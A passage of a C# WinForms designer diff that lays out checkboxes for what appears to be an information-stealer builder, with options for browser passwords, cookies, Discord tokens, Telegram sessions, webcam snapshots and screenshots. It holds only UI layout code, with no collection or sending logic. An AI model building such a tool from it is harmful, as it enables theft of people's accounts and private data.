+ this.labelSystemInfo.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // chkScreenshot + // + this.chkScreenshot.AllowBindingControlAnimation = true; + this.chkScreenshot.AllowBindingControlColorChanges = false; + this.chkScreenshot.AllowBindingControlLocation = true; + this.chkScreenshot.AllowCheckBoxAnimation = false; + this.chkScreenshot.AllowCheckmarkAnimation = true; + this.chkScreenshot.AllowOnHoverStates = true; + this.chkScreenshot.AutoCheck = true; + this.chkScreenshot.BackColor = System.Drawing.Color.Transparent; + this.chkScreenshot.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("chkScreenshot.BackgroundImage"))); + this.chkScreenshot.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.chkScreenshot.BindingControl = this.labelScreenshot; + this.chkScreenshot.BindingControlPosition = Bunifu.UI.WinForms.BunifuCheckBox.BindingControlPositions.Right; + this.chkScreenshot.BorderRadius = 5; + this.chkScreenshot.Checked = true; + this.chkScreenshot.CheckState = Bunifu.UI.WinForms.BunifuCheckBox.CheckStates.Checked; + this.chkScreenshot.Cursor = System.Windows.Forms.Cursors.Default; + this.chkScreenshot.CustomCheckmarkImage = null; + this.chkScreenshot.Location = new System.Drawing.Point(446, 295); + this.chkScreenshot.MinimumSize = new System.Drawing.Size(17, 17); + this.chkScreenshot.Name = "chkScreenshot"; + this.chkScreenshot.OnCheck.BorderColor = System.Drawing.Color.White; + this.chkScreenshot.OnCheck.BorderRadius = 5; + this.chkScreenshot.OnCheck.BorderThickness = 2; + this.chkScreenshot.OnCheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkScreenshot.OnCheck.CheckmarkColor = System.Drawing.Color.White; + this.chkScreenshot.OnCheck.CheckmarkThickness = 2; + this.chkScreenshot.OnDisable.BorderColor = System.Drawing.Color.LightGray; + this.chkScreenshot.OnDisable.BorderRadius = 5; + this.chkScreenshot.OnDisable.BorderThickness = 2; + this.chkScreenshot.OnDisable.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkScreenshot.OnDisable.CheckmarkColor = System.Drawing.Color.LightGray; + this.chkScreenshot.OnDisable.CheckmarkThickness = 2; + this.chkScreenshot.OnHoverChecked.BorderColor = System.Drawing.Color.White; + this.chkScreenshot.OnHoverChecked.BorderRadius = 5; + this.chkScreenshot.OnHoverChecked.BorderThickness = 2; + this.chkScreenshot.OnHoverChecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkScreenshot.OnHoverChecked.CheckmarkColor = System.Drawing.Color.White; + this.chkScreenshot.OnHoverChecked.CheckmarkThickness = 2; + this.chkScreenshot.OnHoverUnchecked.BorderColor = System.Drawing.Color.White; + this.chkScreenshot.OnHoverUnchecked.BorderRadius = 5; + this.chkScreenshot.OnHoverUnchecked.BorderThickness = 1; + this.chkScreenshot.OnHoverUnchecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkScreenshot.OnUncheck.BorderColor = System.Drawing.Color.DarkGray; + this.chkScreenshot.OnUncheck.BorderRadius = 5; + this.chkScreenshot.OnUncheck.BorderThickness = 1; + this.chkScreenshot.OnUncheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkScreenshot.Size = new System.Drawing.Size(21, 21); + this.chkScreenshot.Style = Bunifu.UI.WinForms.BunifuCheckBox.CheckBoxStyles.Bunifu; + this.chkScreenshot.TabIndex = 9; + this.chkScreenshot.ThreeState = false; + this.chkScreenshot.ToolTipText = null; + this.chkScreenshot.CheckedChanged += new System.EventHandler(this.CheckedChanged); + // + // chkSystemInfo + // + this.chkSystemInfo.AllowBindingControlAnimation = true; + this.chkSystemInfo.AllowBindingControlColorChanges = false; + this.chkSystemInfo.AllowBindingControlLocation = true; + this.chkSystemInfo.AllowCheckBoxAnimation = false; + this.chkSystemInfo.AllowCheckmarkAnimation = true; + this.chkSystemInfo.AllowOnHoverStates = true; + this.chkSystemInfo.AutoCheck = true; + this.chkSystemInfo.BackColor = System.Drawing.Color.Transparent; + this.chkSystemInfo.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("chkSystemInfo.BackgroundImage"))); + this.chkSystemInfo.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.chkSystemInfo.BindingControl = this.labelSystemInfo; + this.chkSystemInfo.BindingControlPosition = Bunifu.UI.WinForms.BunifuCheckBox.BindingControlPositions.Right; + this.chkSystemInfo.BorderRadius = 5; + this.chkSystemInfo.Checked = true; + this.chkSystemInfo.CheckState = Bunifu.UI.WinForms.BunifuCheckBox.CheckStates.Checked; + this.chkSystemInfo.Cursor = System.Windows.Forms.Cursors.Default; + this.chkSystemInfo.CustomCheckmarkImage = null; + this.chkSystemInfo.Location = new System.Drawing.Point(241, 295); + this.chkSystemInfo.MinimumSize = new System.Drawing.Size(17, 17); + this.chkSystemInfo.Name = "chkSystemInfo"; + this.chkSystemInfo.OnCheck.BorderColor = System.Drawing.Color.White; + this.chkSystemInfo.OnCheck.BorderRadius = 5; + this.chkSystemInfo.OnCheck.BorderThickness = 2; + this.chkSystemInfo.OnCheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkSystemInfo.OnCheck.CheckmarkColor = System.Drawing.Color.White; + this.chkSystemInfo.OnCheck.CheckmarkThickness = 2; + this.chkSystemInfo.OnDisable.BorderColor = System.Drawing.Color.LightGray; + this.chkSystemInfo.OnDisable.BorderRadius = 5; + this.chkSystemInfo.OnDisable.BorderThickness = 2; + this.chkSystemInfo.OnDisable.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkSystemInfo.OnDisable.CheckmarkColor = System.Drawing.Color.LightGray; + this.chkSystemInfo.OnDisable.CheckmarkThickness = 2; + this.chkSystemInfo.OnHoverChecked.BorderColor = System.Drawing.Color.White; + this.chkSystemInfo.OnHoverChecked.BorderRadius = 5; + this.chkSystemInfo.OnHoverChecked.BorderThickness = 2; + this.chkSystemInfo.OnHoverChecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkSystemInfo.OnHoverChecked.CheckmarkColor = System.Drawing.Color.White; + this.chkSystemInfo.OnHoverChecked.CheckmarkThickness = 2; + this.chkSystemInfo.OnHoverUnchecked.BorderColor = System.Drawing.Color.White; + this.chkSystemInfo.OnHoverUnchecked.BorderRadius = 5; + this.chkSystemInfo.OnHoverUnchecked.BorderThickness = 1; + this.chkSystemInfo.OnHoverUnchecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkSystemInfo.OnUncheck.BorderColor = System.Drawing.Color.DarkGray; + this.chkSystemInfo.OnUncheck.BorderRadius = 5; + this.chkSystemInfo.OnUncheck.BorderThickness = 1; + this.chkSystemInfo.OnUncheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkSystemInfo.Size = new System.Drawing.Size(21, 21); + this.chkSystemInfo.Style = Bunifu.UI.WinForms.BunifuCheckBox.CheckBoxStyles.Bunifu; + this.chkSystemInfo.TabIndex = 9; + this.chkSystemInfo.ThreeState = false; + this.chkSystemInfo.ToolTipText = null; + this.chkSystemInfo.CheckedChanged += new System.EventHandler(this.CheckedChanged); + // + // labelWebcamSnapshot + // + this.labelWebcamSnapshot.AccessibleRole = System.Windows.Forms.AccessibleRole.CheckButton; + this.labelWebcamSnapshot.AllowParentOverrides = false; + this.labelWebcamSnapshot.AutoEllipsis = false; + this.labelWebcamSnapshot.Cursor = System.Windows.Forms.Cursors.Default; + this.labelWebcamSnapshot.CursorType = System.Windows.Forms.Cursors.Default; + this.labelWebcamSnapshot.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelWebcamSnapshot.ForeColor = System.Drawing.Color.White; + this.labelWebcamSnapshot.Location = new System.Drawing.Point(470, 176); + this.labelWebcamSnapshot.Name = "labelWebcamSnapshot"; + this.labelWebcamSnapshot.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.labelWebcamSnapshot.Size = new System.Drawing.Size(130, 21); + this.labelWebcamSnapshot.TabIndex = 8; + this.labelWebcamSnapshot.Text = "Webcam Snapshot"; + this.labelWebcamSnapshot.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.labelWebcamSnapshot.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // chkWebcam + // + this.chkWebcam.AllowBindingControlAnimation = true; + this.chkWebcam.AllowBindingControlColorChanges = false; + this.chkWebcam.AllowBindingControlLocation = true; + this.chkWebcam.AllowCheckBoxAnimation = false; + this.chkWebcam.AllowCheckmarkAnimation = true; + this.chkWebcam.AllowOnHoverStates = true; + this.chkWebcam.AutoCheck = true; + this.chkWebcam.BackColor = System.Drawing.Color.Transparent; + this.chkWebcam.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("chkWebcam.BackgroundImage"))); + this.chkWebcam.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.chkWebcam.BindingControl = this.labelWebcamSnapshot; + this.chkWebcam.BindingControlPosition = Bunifu.UI.WinForms.BunifuCheckBox.BindingControlPositions.Right; + this.chkWebcam.BorderRadius = 5; + this.chkWebcam.Checked = true; + this.chkWebcam.CheckState = Bunifu.UI.WinForms.BunifuCheckBox.CheckStates.Checked; + this.chkWebcam.Cursor = System.Windows.Forms.Cursors.Default; + this.chkWebcam.CustomCheckmarkImage = null; + this.chkWebcam.Location = new System.Drawing.Point(446, 172); + this.chkWebcam.MinimumSize = new System.Drawing.Size(17, 17); + this.chkWebcam.Name = "chkWebcam"; + this.chkWebcam.OnCheck.BorderColor = System.Drawing.Color.White; + this.chkWebcam.OnCheck.BorderRadius = 5; + this.chkWebcam.OnCheck.BorderThickness = 2; + this.chkWebcam.OnCheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkWebcam.OnCheck.CheckmarkColor = System.Drawing.Color.White; + this.chkWebcam.OnCheck.CheckmarkThickness = 2; + this.chkWebcam.OnDisable.BorderColor = System.Drawing.Color.LightGray; + this.chkWebcam.OnDisable.BorderRadius = 5; + this.chkWebcam.OnDisable.BorderThickness = 2; + this.chkWebcam.OnDisable.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkWebcam.OnDisable.CheckmarkColor = System.Drawing.Color.LightGray; + this.chkWebcam.OnDisable.CheckmarkThickness = 2; + this.chkWebcam.OnHoverChecked.BorderColor = System.Drawing.Color.White; + this.chkWebcam.OnHoverChecked.BorderRadius = 5; + this.chkWebcam.OnHoverChecked.BorderThickness = 2; + this.chkWebcam.OnHoverChecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkWebcam.OnHoverChecked.CheckmarkColor = System.Drawing.Color.White; + this.chkWebcam.OnHoverChecked.CheckmarkThickness = 2; + this.chkWebcam.OnHoverUnchecked.BorderColor = System.Drawing.Color.White; + this.chkWebcam.OnHoverUnchecked.BorderRadius = 5; + this.chkWebcam.OnHoverUnchecked.BorderThickness = 1; + this.chkWebcam.OnHoverUnchecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkWebcam.OnUncheck.BorderColor = System.Drawing.Color.DarkGray; + this.chkWebcam.OnUncheck.BorderRadius = 5; + this.chkWebcam.OnUncheck.BorderThickness = 1; + this.chkWebcam.OnUncheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkWebcam.Size = new System.Drawing.Size(21, 21); + this.chkWebcam.Style = Bunifu.UI.WinForms.BunifuCheckBox.CheckBoxStyles.Bunifu; + this.chkWebcam.TabIndex = 7; + this.chkWebcam.ThreeState = false; + this.chkWebcam.ToolTipText = null; + this.chkWebcam.CheckedChanged += new System.EventHandler(this.CheckedChanged); + // + // labelTelegramSessions + // + this.labelTelegramSessions.AccessibleRole = System.Windows.Forms.AccessibleRole.CheckButton; + this.labelTelegramSessions.AllowParentOverrides = false; + this.labelTelegramSessions.AutoEllipsis = false; + this.labelTelegramSessions.Cursor = System.Windows.Forms.Cursors.Default; + this.labelTelegramSessions.CursorType = System.Windows.Forms.Cursors.Default; + this.labelTelegramSessions.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelTelegramSessions.ForeColor = System.Drawing.Color.White; + this.labelTelegramSessions.Location = new System.Drawing.Point(265, 176); + this.labelTelegramSessions.Name = "labelTelegramSessions"; + this.labelTelegramSessions.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.labelTelegramSessions.Size = new System.Drawing.Size(129, 21); + this.labelTelegramSessions.TabIndex = 8; + this.labelTelegramSessions.Text = "Telegram Sessions"; + this.labelTelegramSessions.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.labelTelegramSessions.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // chkTelegram + // + this.chkTelegram.AllowBindingControlAnimation = true; + this.chkTelegram.AllowBindingControlColorChanges = false; + this.chkTelegram.AllowBindingControlLocation = true; + this.chkTelegram.AllowCheckBoxAnimation = false; + this.chkTelegram.AllowCheckmarkAnimation = true; + this.chkTelegram.AllowOnHoverStates = true; + this.chkTelegram.AutoCheck = true; + this.chkTelegram.BackColor = System.Drawing.Color.Transparent; + this.chkTelegram.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("chkTelegram.BackgroundImage"))); + this.chkTelegram.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.chkTelegram.BindingControl = this.labelTelegramSessions; + this.chkTelegram.BindingControlPosition = Bunifu.UI.WinForms.BunifuCheckBox.BindingControlPositions.Right; + this.chkTelegram.BorderRadius = 5; + this.chkTelegram.Checked = true; + this.chkTelegram.CheckState = Bunifu.UI.WinForms.BunifuCheckBox.CheckStates.Checked; + this.chkTelegram.Cursor = System.Windows.Forms.Cursors.Default; + this.chkTelegram.CustomCheckmarkImage = null; + this.chkTelegram.Location = new System.Drawing.Point(241, 172); + this.chkTelegram.MinimumSize = new System.Drawing.Size(17, 17); + this.chkTelegram.Name = "chkTelegram"; + this.chkTelegram.OnCheck.BorderColor = System.Drawing.Color.White; + this.chkTelegram.OnCheck.BorderRadius = 5; + this.chkTelegram.OnCheck.BorderThickness = 2; + this.chkTelegram.OnCheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkTelegram.OnCheck.CheckmarkColor = System.Drawing.Color.White; + this.chkTelegram.OnCheck.CheckmarkThickness = 2; + this.chkTelegram.OnDisable.BorderColor = System.Drawing.Color.LightGray; + this.chkTelegram.OnDisable.BorderRadius = 5; + this.chkTelegram.OnDisable.BorderThickness = 2; + this.chkTelegram.OnDisable.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkTelegram.OnDisable.CheckmarkColor = System.Drawing.Color.LightGray; + this.chkTelegram.OnDisable.CheckmarkThickness = 2; + this.chkTelegram.OnHoverChecked.BorderColor = System.Drawing.Color.White; + this.chkTelegram.OnHoverChecked.BorderRadius = 5; + this.chkTelegram.OnHoverChecked.BorderThickness = 2; + this.chkTelegram.OnHoverChecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkTelegram.OnHoverChecked.CheckmarkColor = System.Drawing.Color.White; + this.chkTelegram.OnHoverChecked.CheckmarkThickness = 2; + this.chkTelegram.OnHoverUnchecked.BorderColor = System.Drawing.Color.White; + this.chkTelegram.OnHoverUnchecked.BorderRadius = 5; + this.chkTelegram.OnHoverUnchecked.BorderThickness = 1; + this.chkTelegram.OnHoverUnchecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkTelegram.OnUncheck.BorderColor = System.Drawing.Color.DarkGray; + this.chkTelegram.OnUncheck.BorderRadius = 5; + this.chkTelegram.OnUncheck.BorderThickness = 1; + this.chkTelegram.OnUncheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkTelegram.Size = new System.Drawing.Size(21, 21); + this.chkTelegram.Style = Bunifu.UI.WinForms.BunifuCheckBox.CheckBoxStyles.Bunifu; + this.chkTelegram.TabIndex = 7; + this.chkTelegram.ThreeState = false; + this.chkTelegram.ToolTipText = null; + this.chkTelegram.CheckedChanged += new System.EventHandler(this.CheckedChanged); + // + // labelGames + // + this.labelGames.AccessibleRole = System.Windows.Forms.AccessibleRole.CheckButton; + this.labelGames.AllowParentOverrides = false; + this.labelGames.AutoEllipsis = false; + this.labelGames.Cursor = System.Windows.Forms.Cursors.Default; + this.labelGames.CursorType = System.Windows.Forms.Cursors.Default; + this.labelGames.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelGames.ForeColor = System.Drawing.Color.White; + this.labelGames.Location = new System.Drawing.Point(265, 58); + this.labelGames.Name = "labelGames"; + this.labelGames.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.labelGames.Size = new System.Drawing.Size(48, 21); + this.labelGames.TabIndex = 6; + this.labelGames.Text = "Games"; + this.labelGames.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.labelGames.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // chkGames + // + this.chkGames.AllowBindingControlAnimation = true; + this.chkGames.AllowBindingControlColorChanges = false; + this.chkGames.AllowBindingControlLocation = true; + this.chkGames.AllowCheckBoxAnimation = false; + this.chkGames.AllowCheckmarkAnimation = true; + this.chkGames.AllowOnHoverStates = true; + this.chkGames.AutoCheck = true; + this.chkGames.BackColor = System.Drawing.Color.Transparent; + this.chkGames.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("chkGames.BackgroundImage"))); + this.chkGames.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.chkGames.BindingControl = this.labelGames; + this.chkGames.BindingControlPosition = Bunifu.UI.WinForms.BunifuCheckBox.BindingControlPositions.Right; + this.chkGames.BorderRadius = 5; + this.chkGames.Checked = true; + this.chkGames.CheckState = Bunifu.UI.WinForms.BunifuCheckBox.CheckStates.Checked; + this.chkGames.Cursor = System.Windows.Forms.Cursors.Default; + this.chkGames.CustomCheckmarkImage = null; + this.chkGames.Location = new System.Drawing.Point(241, 54); + this.chkGames.MinimumSize = new System.Drawing.Size(17, 17); + this.chkGames.Name = "chkGames"; + this.chkGames.OnCheck.BorderColor = System.Drawing.Color.White; + this.chkGames.OnCheck.BorderRadius = 5; + this.chkGames.OnCheck.BorderThickness = 2; + this.chkGames.OnCheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkGames.OnCheck.CheckmarkColor = System.Drawing.Color.White; + this.chkGames.OnCheck.CheckmarkThickness = 2; + this.chkGames.OnDisable.BorderColor = System.Drawing.Color.LightGray; + this.chkGames.OnDisable.BorderRadius = 5; + this.chkGames.OnDisable.BorderThickness = 2; + this.chkGames.OnDisable.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkGames.OnDisable.CheckmarkColor = System.Drawing.Color.LightGray; + this.chkGames.OnDisable.CheckmarkThickness = 2; + this.chkGames.OnHoverChecked.BorderColor = System.Drawing.Color.White; + this.chkGames.OnHoverChecked.BorderRadius = 5; + this.chkGames.OnHoverChecked.BorderThickness = 2; + this.chkGames.OnHoverChecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkGames.OnHoverChecked.CheckmarkColor = System.Drawing.Color.White; + this.chkGames.OnHoverChecked.CheckmarkThickness = 2; + this.chkGames.OnHoverUnchecked.BorderColor = System.Drawing.Color.White; + this.chkGames.OnHoverUnchecked.BorderRadius = 5; + this.chkGames.OnHoverUnchecked.BorderThickness = 1; + this.chkGames.OnHoverUnchecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkGames.OnUncheck.BorderColor = System.Drawing.Color.DarkGray; + this.chkGames.OnUncheck.BorderRadius = 5; + this.chkGames.OnUncheck.BorderThickness = 1; + this.chkGames.OnUncheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkGames.Size = new System.Drawing.Size(21, 21); + this.chkGames.Style = Bunifu.UI.WinForms.BunifuCheckBox.CheckBoxStyles.Bunifu; + this.chkGames.TabIndex = 5; + this.chkGames.ThreeState = false; + this.chkGames.ToolTipText = null; + this.chkGames.CheckedChanged += new System.EventHandler(this.CheckedChanged); + // + // labelBrowserCookies + // + this.labelBrowserCookies.AccessibleRole = System.Windows.Forms.AccessibleRole.CheckButton; + this.labelBrowserCookies.AllowParentOverrides = false; + this.labelBrowserCookies.AutoEllipsis = false; + this.labelBrowserCookies.Cursor = System.Windows.Forms.Cursors.Default; + this.labelBrowserCookies.CursorType = System.Windows.Forms.Cursors.Default; + this.labelBrowserCookies.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelBrowserCookies.ForeColor = System.Drawing.Color.White; + this.labelBrowserCookies.Location = new System.Drawing.Point(62, 299); + this.labelBrowserCookies.Name = "labelBrowserCookies"; + this.labelBrowserCookies.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.labelBrowserCookies.Size = new System.Drawing.Size(116, 21); + this.labelBrowserCookies.TabIndex = 4; + this.labelBrowserCookies.Text = "Browser Cookies"; + this.labelBrowserCookies.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.labelBrowserCookies.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // chkCookies + // + this.chkCookies.AllowBindingControlAnimation = true; + this.chkCookies.AllowBindingControlColorChanges = false; + this.chkCookies.AllowBindingControlLocation = true; + this.chkCookies.AllowCheckBoxAnimation = false; + this.chkCookies.AllowCheckmarkAnimation = true; + this.chkCookies.AllowOnHoverStates = true; + this.chkCookies.AutoCheck = true; + this.chkCookies.BackColor = System.Drawing.Color.Transparent; + this.chkCookies.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("chkCookies.BackgroundImage"))); + this.chkCookies.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.chkCookies.BindingControl = this.labelBrowserCookies; + this.chkCookies.BindingControlPosition = Bunifu.UI.WinForms.BunifuCheckBox.BindingControlPositions.Right; + this.chkCookies.BorderRadius = 5; + this.chkCookies.Checked = true; + this.chkCookies.CheckState = Bunifu.UI.WinForms.BunifuCheckBox.CheckStates.Checked; + this.chkCookies.Cursor = System.Windows.Forms.Cursors.Default; + this.chkCookies.CustomCheckmarkImage = null; + this.chkCookies.Location = new System.Drawing.Point(38, 295); + this.chkCookies.MinimumSize = new System.Drawing.Size(17, 17); + this.chkCookies.Name = "chkCookies"; + this.chkCookies.OnCheck.BorderColor = System.Drawing.Color.White; + this.chkCookies.OnCheck.BorderRadius = 5; + this.chkCookies.OnCheck.BorderThickness = 2; + this.chkCookies.OnCheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkCookies.OnCheck.CheckmarkColor = System.Drawing.Color.White; + this.chkCookies.OnCheck.CheckmarkThickness = 2; + this.chkCookies.OnDisable.BorderColor = System.Drawing.Color.LightGray; + this.chkCookies.OnDisable.BorderRadius = 5; + this.chkCookies.OnDisable.BorderThickness = 2; + this.chkCookies.OnDisable.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkCookies.OnDisable.CheckmarkColor = System.Drawing.Color.LightGray; + this.chkCookies.OnDisable.CheckmarkThickness = 2; + this.chkCookies.OnHoverChecked.BorderColor = System.Drawing.Color.White; + this.chkCookies.OnHoverChecked.BorderRadius = 5; + this.chkCookies.OnHoverChecked.BorderThickness = 2; + this.chkCookies.OnHoverChecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkCookies.OnHoverChecked.CheckmarkColor = System.Drawing.Color.White; + this.chkCookies.OnHoverChecked.CheckmarkThickness = 2; + this.chkCookies.OnHoverUnchecked.BorderColor = System.Drawing.Color.White; + this.chkCookies.OnHoverUnchecked.BorderRadius = 5; + this.chkCookies.OnHoverUnchecked.BorderThickness = 1; + this.chkCookies.OnHoverUnchecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkCookies.OnUncheck.BorderColor = System.Drawing.Color.DarkGray; + this.chkCookies.OnUncheck.BorderRadius = 5; + this.chkCookies.OnUncheck.BorderThickness = 1; + this.chkCookies.OnUncheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkCookies.Size = new System.Drawing.Size(21, 21); + this.chkCookies.Style = Bunifu.UI.WinForms.BunifuCheckBox.CheckBoxStyles.Bunifu; + this.chkCookies.TabIndex = 3; + this.chkCookies.ThreeState = false; + this.chkCookies.ToolTipText = null; + this.chkCookies.CheckedChanged += new System.EventHandler(this.CheckedChanged); + // + // labelBrowserPasswords + // + this.labelBrowserPasswords.AccessibleRole = System.Windows.Forms.AccessibleRole.CheckButton; + this.labelBrowserPasswords.AllowParentOverrides = false; + this.labelBrowserPasswords.AutoEllipsis = false; + this.labelBrowserPasswords.Cursor = System.Windows.Forms.Cursors.Default; + this.labelBrowserPasswords.CursorType = System.Windows.Forms.Cursors.Default; + this.labelBrowserPasswords.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelBrowserPasswords.ForeColor = System.Drawing.Color.White; + this.labelBrowserPasswords.Location = new System.Drawing.Point(62, 176); + this.labelBrowserPasswords.Name = "labelBrowserPasswords"; + this.labelBrowserPasswords.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.labelBrowserPasswords.Size = new System.Drawing.Size(135, 21); + this.labelBrowserPasswords.TabIndex = 4; + this.labelBrowserPasswords.Text = "Browser Passwords"; + this.labelBrowserPasswords.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.labelBrowserPasswords.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // chkPasswords + // + this.chkPasswords.AllowBindingControlAnimation = true; + this.chkPasswords.AllowBindingControlColorChanges = false; + this.chkPasswords.AllowBindingControlLocation = true; + this.chkPasswords.AllowCheckBoxAnimation = false; + this.chkPasswords.AllowCheckmarkAnimation = true; + this.chkPasswords.AllowOnHoverStates = true; + this.chkPasswords.AutoCheck = true; + this.chkPasswords.BackColor = System.Drawing.Color.Transparent; + this.chkPasswords.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("chkPasswords.BackgroundImage"))); + this.chkPasswords.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.chkPasswords.BindingControl = this.labelBrowserPasswords; + this.chkPasswords.BindingControlPosition = Bunifu.UI.WinForms.BunifuCheckBox.BindingControlPositions.Right; + this.chkPasswords.BorderRadius = 5; + this.chkPasswords.Checked = true; + this.chkPasswords.CheckState = Bunifu.UI.WinForms.BunifuCheckBox.CheckStates.Checked; + this.chkPasswords.Cursor = System.Windows.Forms.Cursors.Default; + this.chkPasswords.CustomCheckmarkImage = null; + this.chkPasswords.Location = new System.Drawing.Point(38, 172); + this.chkPasswords.MinimumSize = new System.Drawing.Size(17, 17); + this.chkPasswords.Name = "chkPasswords"; + this.chkPasswords.OnCheck.BorderColor = System.Drawing.Color.White; + this.chkPasswords.OnCheck.BorderRadius = 5; + this.chkPasswords.OnCheck.BorderThickness = 2; + this.chkPasswords.OnCheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkPasswords.OnCheck.CheckmarkColor = System.Drawing.Color.White; + this.chkPasswords.OnCheck.CheckmarkThickness = 2; + this.chkPasswords.OnDisable.BorderColor = System.Drawing.Color.LightGray; + this.chkPasswords.OnDisable.BorderRadius = 5; + this.chkPasswords.OnDisable.BorderThickness = 2; + this.chkPasswords.OnDisable.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkPasswords.OnDisable.CheckmarkColor = System.Drawing.Color.LightGray; + this.chkPasswords.OnDisable.CheckmarkThickness = 2; + this.chkPasswords.OnHoverChecked.BorderColor = System.Drawing.Color.White; + this.chkPasswords.OnHoverChecked.BorderRadius = 5; + this.chkPasswords.OnHoverChecked.BorderThickness = 2; + this.chkPasswords.OnHoverChecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkPasswords.OnHoverChecked.CheckmarkColor = System.Drawing.Color.White; + this.chkPasswords.OnHoverChecked.CheckmarkThickness = 2; + this.chkPasswords.OnHoverUnchecked.BorderColor = System.Drawing.Color.White; + this.chkPasswords.OnHoverUnchecked.BorderRadius = 5; + this.chkPasswords.OnHoverUnchecked.BorderThickness = 1; + this.chkPasswords.OnHoverUnchecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkPasswords.OnUncheck.BorderColor = System.Drawing.Color.DarkGray; + this.chkPasswords.OnUncheck.BorderRadius = 5; + this.chkPasswords.OnUncheck.BorderThickness = 1; + this.chkPasswords.OnUncheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkPasswords.Size = new System.Drawing.Size(21, 21); + this.chkPasswords.Style = Bunifu.UI.WinForms.BunifuCheckBox.CheckBoxStyles.Bunifu; + this.chkPasswords.TabIndex = 3; + this.chkPasswords.ThreeState = false; + this.chkPasswords.ToolTipText = null; + this.chkPasswords.CheckedChanged += new System.EventHandler(this.CheckedChanged); + // + // labelDiscordTokens + // + this.labelDiscordTokens.AccessibleRole = System.Windows.Forms.AccessibleRole.CheckButton; + this.labelDiscordTokens.AllowParentOverrides = false; + this.labelDiscordTokens.AutoEllipsis = false; + this.labelDiscordTokens.Cursor = System.Windows.Forms.Cursors.Default; + this.labelDiscordTokens.CursorType = System.Windows.Forms.Cursors.Default; + this.labelDiscordTokens.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelDiscordTokens.ForeColor = System.Drawing.Color.White; + this.labelDiscordTokens.Location = new System.Drawing.Point(62, 58); + this.labelDiscordTokens.Name = "labelDiscordTokens"; + this.labelDiscordTokens.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.labelDiscordTokens.Size = new System.Drawing.Size(106, 